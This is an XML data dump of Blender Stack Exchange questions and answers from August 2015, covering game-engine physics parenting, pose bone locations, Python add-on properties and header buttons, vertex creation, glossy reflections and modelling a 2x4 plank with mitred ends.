  <row Id="35986" PostTypeId="2" ParentId="35941" CreationDate="2015-08-19T06:30:08.143" Score="3" Body="&lt;p&gt;When you parent an object to another you implicitly declare the child to be a static object regardless if you set the physics type to dynamic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the behavior you say: &quot;I do not want this object to be controlled by the physics. I want it to follow the parent.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore the physics will ignore this object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From you question I guess you assume that the parent object considers the child. But why should it? If you want to &quot;extend&quot; the object you need to enable &lt;code&gt;Physics/Collision Bounds/Compound&lt;/code&gt; on both the parent and the child.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pQvLP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQvLP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the parenting in-game see EjayACER's response. It describes how to do that with the parent actuator.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-19T06:30:08.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35987" PostTypeId="2" ParentId="35982" CreationDate="2015-08-19T06:45:29.543" Score="7" Body="&lt;p&gt;This is a bit of a &lt;a href=&quot;https://blender.stackexchange.com/questions/1283/how-to-get-world-space-matrix-of-any-pose-bone&quot;&gt;duplicate of this question&lt;/a&gt;, but just to complete the picture, to get the global location of your pose bone, you need to multiply the bone's location by the armature and the bone's transform matrices (sounds complicated, but is actually simple):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p = bpy.context.active_pose_bone  # Our pose bone&#xA;o = bpy.context.object            # Our armature object&#xA;global_location = o.matrix_world * p.matrix * p.location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-19T06:45:29.543" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35988" PostTypeId="2" ParentId="33848" CreationDate="2015-08-19T07:58:40.097" Score="2" Body="&lt;p&gt;I've just installed windows 10 and blender crashes instantly at start up. To make it run I've discovered that one must start the application directly from the directory and specify the graphic acceleration available by clicking the right button of the mouse.&lt;/p&gt;&#xA;" OwnerUserId="16528" LastEditorUserId="7777" LastEditDate="2015-08-19T09:00:39.557" LastActivityDate="2015-08-19T09:00:39.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35989" PostTypeId="1" CreationDate="2015-08-19T09:05:12.437" Score="2" ViewCount="893" Body="&lt;p&gt;I try to create some properties for custom primitives in property group classes and I want to access them from an operator in another &lt;code&gt;.py file&lt;/code&gt; to create primitives, but I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError: 'tuple' object has no attribute 'base' &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm trying to follow this advice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyProps(PropertyGroup):&#xA;        ... # properties and stuff&#xA;&#xA;class ParentProps(PropertyGroup):&#xA;        # THIS WILL NOT WORK! MyProps _has_ to be registered at this point&#xA;        #foo = PointerProperty(type=MyProps)&#xA;&#xA;&#xA;def register():&#xA;        # 1) register property class&#xA;        bpy.utils.register_class(MyProps)&#xA;&#xA;        # 2) add property (now it works)&#xA;        ParentProps.foo = PointerProperty(type=MyProps)&#xA;&#xA;        # 3) register parent class&#xA;        bpy.utils.register_class(ParentProps)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I get another error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ValueError: register_class(...): expected a class argument, not 'tuple' &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The WIP code looks like this: &lt;a href=&quot;http://www.pasteall.org/60602/python&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/60602/python&lt;/a&gt; (line 1260).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The design idea is that operators should create primitives and set up their properties, but these properties should still be there to change it later.&lt;/p&gt;&#xA;" OwnerUserId="810" LastEditorUserId="3710" LastEditDate="2015-08-19T13:33:01.200" LastActivityDate="2015-08-19T13:57:33.783" Title="How to create properties for new object types" Tags="&lt;python&gt;&lt;objects&gt;&lt;add-on&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35991" PostTypeId="1" CreationDate="2015-08-19T09:18:42.540" Score="1" ViewCount="43" Body="&lt;p&gt;For example I have a cube and I moved it to a certain location.&#xA;I want to know if there is a way to find object's &lt;strong&gt;global location&lt;/strong&gt;, so later I would be able to insert this location coordinates to another object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W9pzy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9pzy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;So my Question is: Is there a way I can see the location of a certain object and if yes how can I insert this location coordinates to another object ?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="29" LastEditDate="2015-08-19T10:58:35.480" LastActivityDate="2015-08-19T10:58:35.480" Title="How to find out object's location coordinates?" Tags="&lt;properties&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-19T13:37:19.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="35992" PostTypeId="1" CreationDate="2015-08-19T09:20:00.543" Score="3" ViewCount="1056" Body="&lt;p&gt;Yesterday I started to learn blender. Now I want to model a spiral for my hammer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When adding a spiral, how can I access the associated options in the &lt;em&gt;Tool Shelf&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i8s3p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i8s3p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;spiral options greyed out&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="16530" LastEditorUserId="2952" LastEditDate="2015-08-19T14:31:43.307" LastActivityDate="2015-08-19T14:31:43.307" Title="Operator Panel options grayed out" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-08-19T15:09:37.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="35994" PostTypeId="2" ParentId="15729" CreationDate="2015-08-19T10:05:54.053" Score="1" Body="&lt;p&gt;If the metadata you want to add needs to visible from within the Blender file itself, the metadata can be converted into an image and treated as a reference image. For example, one can create a plane mesh object, and texture it with an image which contains the text &lt;em&gt;&amp;copy; 2015 by blenderuser&lt;/em&gt;, where blenderuser is a placeholder for the name of the actual copyright holder. Alternatively, the copyright information can be made into a text object, and placed into the blender scene in that manner. This can be instead of, or in addition to, placing the copyright information into a text block with the text editor.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-19T10:05:54.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35995" PostTypeId="2" ParentId="35919" CreationDate="2015-08-19T10:21:22.707" Score="6" Body="&lt;p&gt;I'd like to point out here that the right way to do this is to be aware of the output scale settings in your &lt;em&gt;Vector Graphics&lt;/em&gt; application. While the problem here isn't Blender, it is a reoccurring question and I feel it's worth explaining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Inkscape it's easy to set the document properties to Meters as it comes closest to the Blender's default grid dimensions. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Inkscape: &lt;em&gt;File -&gt; Document properties&lt;/em&gt; and set it to &lt;em&gt;Meters&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See here, the inkscape scale is represented in M. (but you need to choose that from the drop-down seperately to see it in the Inkscape Viewport)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QDmwi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do that right, there's no need to rescale / apply. The SVG should import at the right size.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-21T19:08:27.513" LastActivityDate="2015-08-21T19:08:27.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35996" PostTypeId="1" CreationDate="2015-08-19T10:34:07.277" Score="1" ViewCount="92" Body="&lt;p&gt;I've already created the mesh and armature. I weight painted the mesh and was able to make two, perfectly fine, animations (walking and running). However the next time i opened this file, the armature and animation was still there, however the mesh wasn't moving with the armature. So when i would play an animation all you could see are the bones moving while the mesh stays still. This is the second time that this is happening and i was hoping that there may be another way to fix this rather then re-doing all the bones and weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;ok so i was able to find the .fbx (because i also exported it as an .fbx for unity) folder and imported into Blender. Anyway it is now working (except the inverse kinematics disappeared) anyway is there anyway to fix this problem so it doesn't happen again? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's a reference that may help&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4U7u5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4U7u5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="15754" LastEditorUserId="15754" LastEditDate="2015-08-20T07:39:50.973" LastActivityDate="2015-08-20T07:39:50.973" Title="Opened up Blender and armature isn't moving the mesh!" Tags="&lt;mesh&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35997" PostTypeId="1" CreationDate="2015-08-19T11:30:40.213" Score="8" ViewCount="989" Body="&lt;p&gt;In Edit mode I can insert Vertices with Ctrl-Click. The new Vertex will be linked to the previously selected one by an Edge. Great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I insert the FIRST one ? I cannot enter Edit mode with an empty scene, and Ctrl-Click doesn't work in Object mode. What's the trick to have my first Vertex on scene in Edit mode ?&lt;/p&gt;&#xA;" OwnerUserId="16532" LastActivityDate="2018-06-21T19:26:07.733" Title="First Vertex insert" Tags="&lt;mesh&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35998" PostTypeId="2" ParentId="736" CreationDate="2015-08-19T11:52:24.390" Score="1" Body="&lt;p&gt;Actually Blender is very well capable of slicing a single image into rectangular tiles and dispatching them to different workers. It just has to be scripted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A distributed render engine that does this is BitWrk (&lt;a href=&quot;https://bitwrk.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitwrk.net/&lt;/a&gt;). It has tiled rendering for stills and animation, conveniently integrated into Blender. No more zip file uploading. You can build a private render farm with BitWrk, or use its peer-to-peer service, or mix both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I am the person behind BitWrk, so feel free to ask me anything about it.&lt;/p&gt;&#xA;" OwnerUserId="16533" LastEditorUserId="16533" LastEditDate="2017-05-24T14:34:37.730" LastActivityDate="2017-05-24T14:34:37.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35999" PostTypeId="2" ParentId="35997" CreationDate="2015-08-19T12:02:47.220" Score="4" Body="&lt;p&gt;Typically to do this you would start by adding a plane and deleting all but one of the vertices.&lt;/p&gt;&#xA;" OwnerUserId="16131" LastActivityDate="2015-08-19T12:02:47.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36001" PostTypeId="1" CreationDate="2015-08-19T12:14:51.037" Score="3" ViewCount="456" Body="&lt;p&gt;How can I sync the zoom level in all 3 perspectives in a quad view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, when I zoom in one of them (top ortho for instance) the other two are not zooming with it, resulting in an inconsistent setup. I'm used to all perspectives being in sync from other tools.&lt;/p&gt;&#xA;" OwnerUserId="16535" LastActivityDate="2015-08-19T12:17:39.990" Title="Sync zoom level in quad view" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36002" PostTypeId="2" ParentId="36001" CreationDate="2015-08-19T12:17:39.990" Score="4" Body="&lt;p&gt;In the view preferences (&lt;kbd&gt;N&lt;/kbd&gt;), under Display, checking &quot;Box&quot; should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dLlVz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dLlVz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16535" LastActivityDate="2015-08-19T12:17:39.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36004" PostTypeId="2" ParentId="35997" CreationDate="2015-08-19T12:19:32.680" Score="9" Body="&lt;p&gt;You could add any object (mesh) &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change to &lt;em&gt;Edit Mode&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;Select all vertices &lt;kbd&gt;A&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;M&lt;/kbd&gt; (merge).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-08-19T12:19:32.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36006" PostTypeId="1" AcceptedAnswerId="36007" CreationDate="2015-08-19T12:54:24.013" Score="0" ViewCount="1767" Body="&lt;p&gt;I am working on a dice. That dice is placed on a white reflective floor. The reflective floor has a big impact on the look of the dice: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0Unf1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Unf1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After removing the reflective floor I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xBwYU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xBwYU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add the reflective floor again and preserve the plastic look of the dice (so no floor reflections on the dice) ?? I work with cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the answer of Faceb I unchecked Glossy in Ray visibility. The result is in the image below. Now I have a dice with a nice plastic look and a floor reflecting the dice but not changing the look of the dice. But now I have this black line &quot;surrounding&quot; the dice. Now ... how to get rid of that ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jH8Y3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jH8Y3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="13877" LastEditDate="2015-08-19T13:55:59.583" LastActivityDate="2020-11-11T11:27:11.310" Title="Reflective floor and glossy material" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36007" PostTypeId="2" ParentId="36006" CreationDate="2015-08-19T13:14:25.287" Score="1" Body="&lt;p&gt;You could try the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the floor&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;Properties&lt;/em&gt; panel&lt;/li&gt;&#xA;&lt;li&gt;From the tabs, go to &lt;em&gt;Object&lt;/em&gt; (looks like a cube)&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;Ray Visibility&lt;/em&gt;, click on &lt;em&gt;Glossy&lt;/em&gt; check&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="19307" LastEditDate="2020-11-11T11:27:11.310" LastActivityDate="2020-11-11T11:27:11.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36008" PostTypeId="2" ParentId="35992" CreationDate="2015-08-19T13:26:03.680" Score="4" Body="&lt;p&gt;Try choosing &lt;strong&gt;File &gt; Load Factory Settings&lt;/strong&gt;. This will discard any customizations you've made to your settings. Your file will close and be replaced with the default scene, so any unsaved work will be lost. For this reason you should save your project before loading factory settings, and re-open it after doing so. If this solves your problem you can then save the reset (fixed) settings from the &quot;Save User Settings&quot; button at the bottom of the Preferences window so that you won't run into the problem again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?242167-operator-panel-is-greyed-out&quot; rel=&quot;nofollow&quot;&gt;This solution was suggested on Blender Artists&lt;/a&gt; by user &quot;mib2berlin&quot; to a user experiencing the same issue. The issue is apparently not specific to the spiral options, but can happen with other tools that use the Operator Panel.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-19T13:36:18.017" LastActivityDate="2015-08-19T13:36:18.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36009" PostTypeId="1" CreationDate="2015-08-19T13:27:32.567" Score="0" ViewCount="43" Body="&lt;p&gt;I have made a texture for my character but the texture is missing,&#xA;and the weird thing is that the shirt is showing the texture and that's the same opject. I have Joined all opjects with ctrl+J and then made the texture. But when I would look at the texture, only the shirt was displayed with a texture.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YEExc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YEExc.png&quot; alt=&quot;The blue Shirt has only a texture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16538" LastEditorUserId="16538" LastEditDate="2015-08-19T17:49:24.923" LastActivityDate="2015-08-19T18:14:44.513" Title="Fix - Pink textures. why are some of my textures pink and some not?" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-19T20:13:57.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="36011" PostTypeId="2" ParentId="35997" CreationDate="2015-08-19T13:45:15.017" Score="3" Body="&lt;p&gt;Being in &lt;em&gt;Edit Mode&lt;/em&gt; go to &lt;em&gt;Mesh&lt;/em&gt; and check the &lt;em&gt;&lt;strong&gt;Auto Merge Editing&lt;/strong&gt;&lt;/em&gt; box. This function automatically merges vertices.&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/I42Hk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I42Hk.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now add a plane (or every other object you like), go to the &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) options and change the &lt;em&gt;&lt;strong&gt;Radius&lt;/strong&gt;&lt;/em&gt; to &lt;em&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UUNX1.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UUNX1.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Please note, that if you add the same object again (a plane in this case) it will have the same settings as previously added one, so you'll have to adjust them in a &lt;em&gt;Tool Shelf&lt;/em&gt; panel.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-19T19:56:49.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36012" PostTypeId="2" ParentId="35989" CreationDate="2015-08-19T13:57:33.783" Score="1" Body="&lt;pre&gt;&lt;code&gt;bpy.types.Object.povcone = PointerProperty(type=RenderPovSettingsCone_add)&#xA;bpy.utils.register_class(bpy.types.Object.povcone)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you do not need to register a property from bpy.props like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the property is there after the assignment and blender will use it as a wrapper for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.[&quot;povcone&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so simply drop the second line&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-08-19T13:57:33.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36013" PostTypeId="2" ParentId="3393" CreationDate="2015-08-19T14:00:44.597" Score="4" Body="&lt;p&gt;The code to append/prepend a button to any of the headers in Blender can be found below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class addon_function(bpy.types.Operator):&#xA;     &quot;&quot;&quot;add documentation here&quot;&quot;&quot;&#xA;     .&#xA;     .&#xA;     .&#xA;     def execute(self, context):&#xA;          ...&#xA;&#xA;def addon_button(self, context):&#xA;     self.layout.operator(&#xA;          pysoy_model.bl_idname,&#xA;          text=addon_function.__doc__,&#xA;          icon='MOD_MESHDEFORM')&#xA;&#xA;def register():&#xA;     bpy.utils.register_class(addon_function)&#xA;     bpy.types.VIEW3D_HT_header.append(addon_button)&#xA;&#xA;def unregister():&#xA;     bpy.utils.unregister_class(addon_function)&#xA;     bpy.types.VIEW3D_HT_header.remove(addon_button)&#xA;# This allows you to run the script directly from blenders text editor&#xA;# to test the addon without having to install it.&#xA;if __name__ == &quot;__main__&quot;:&#xA;     register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main line is: &lt;code&gt;bpy.types.VIEW3D_HT_header.append(addon_button)&lt;/code&gt;, where you can add change the &lt;code&gt;bpy.types.*&lt;/code&gt; to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Info Header: &lt;code&gt;INFO_HT_HEADER&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;3D View Header: &lt;code&gt;VIEW3D_HT_HEADER&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Timeline Header: &lt;code&gt;TIME_HT_HEADER&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Outliner Header: &lt;code&gt;OUTLINER_HT_HEADER&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Properties Header: &lt;code&gt;PROPERTIES_HT_HEADER&lt;/code&gt;, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more Information on addon and Icon Button:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_70_release/info_tutorial_addon.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Page on Addon.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=WX7P6Ru8Lv0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Open Studio Tutorial.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16539" LastEditorUserId="28015" LastEditDate="2016-12-20T18:58:02.827" LastActivityDate="2016-12-20T18:58:02.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36014" PostTypeId="1" CreationDate="2015-08-19T14:08:32.693" Score="1" ViewCount="889" Body="&lt;p&gt;I'm using Blender to do some architectural modelling for a house.  (Yes, I &lt;em&gt;know&lt;/em&gt; Blender isn't really designed for architectural modelling, and there are probably better tools, but it's what I'm using for now.)  This model is going to be &quot;hyper-accurate&quot; in the sense that I'm planning (hoping / trying) to have every single concrete brick and every single 2x4, 2x6, etc, modeled one way or another (although I'm drawing the line at nails and dustbunnies - not including those!)  Just to give you a sense of what I mean, here's what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rgiub.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rgiub.jpg&quot; alt=&quot;House&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 2x4s with square-cut ends, I created a simple cube mesh with the long-dimension along the Z-axis, and placed the object origin at the center of the 2x4 face at one end of the plank mesh (nominally at 0,0,0).  I also lock the X and Y scale in the &quot;Transform Locks&quot; section of the object data.  This allows me to place the 2x4 by using vertex snapping, and then subsequently use the scale tool to adjust the length of the 2x4 as needed, even on objects that use a linked mesh (that is, I always create new 2x4s by using Alt-D on an existing 2x4).  No problem so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, I'm trying to create 2x4s with a 45-degree cut on one side, and running into difficulties getting it to work &lt;em&gt;simply&lt;/em&gt;.  Here's what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a mesh that has the expected 45-degree cut on one end.  Rotations of the object (which I do often) work great.  However, when I try to scale the length of the plank, the scaling also affects the cut-end disproportionately, so that it is no longer a 45-degree cut.  I've tried putting the object origin at the center of both the face that is far away from the 45-degree end and the center of the face that makes the 45-degree cut - both have the same problem.  I'm not looking for an explanation of &lt;em&gt;why&lt;/em&gt; this is happening - I think I understand pretty well.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Locking the vertices&quot; on the mesh by using a Mask, and also using Shape Keys, as described in &lt;a href=&quot;https://blender.stackexchange.com/questions/5533/locking-a-vertex-group-from-modification&quot;&gt;this article&lt;/a&gt;, but this seems to be relevant only to sculpting, as when I tried it, scaling the object still deformed the 45-degree angle cut.  However, I'll admit that those techniques may have been a bit over my head, so I may not have implemented them properly.&lt;/li&gt;&#xA;&lt;li&gt;I've created a simple 45-degree triangular object, and parented it to the 2x4, placing the triangular cap at the appropriate end of the square-end 2x4.  In this case also, rotations work very well.  However, scaling the parent 2x4 (to adjust its length) still affect the scale of the triangular cap, even if I lock all three scale settings for the cap, resulting in a cap that isn't 45 degrees.  (Note that this is a visual effect - the numerical values of the scale setting for the triangular cap object do not change!)&lt;/li&gt;&#xA;&lt;li&gt;Instead of parenting the triangular cap to the 2x4, I've tried adding two constraints: Copy Location and Copy Rotation.  This works, but is cumbersome because I have to do this for every cap I add.  &lt;em&gt;So far&lt;/em&gt;, this is my preferred solution.&lt;/li&gt;&#xA;&lt;li&gt;Skipping any kind of linking, and just representing caps as separate objects that get placed in the right spot.  This will also work, but is also cumbersome because if I move or rotate or re-scale a plank, I now have to move the cap as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As I said above, the method I like best so far is to add the two constraints, even though it's a bit of a pain.  Also, I think that technique will only work for a 45-degree cut on one end - there are some cases where I need 45 degree cuts on both ends (but not many).  But being a bit of a Blender n00b, I don't want to assume that there are other better ways to achieve what I'm trying to do.  Please remember my key objectives for an ideal solution (which may not be possible): I would like to end up with a single object that can be duplicated using Alt-D and that I can scale the length of the object without deforming the 45-degree angle at one or both ends.  If I can't get that, I'll take the best I can find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any and all suggestions!!&lt;/p&gt;&#xA;" OwnerUserId="15652" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-19T14:08:32.693" Title="Scale-able/rotate-able 2x4 wood plank with 45-degree cut end - is there a better way?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
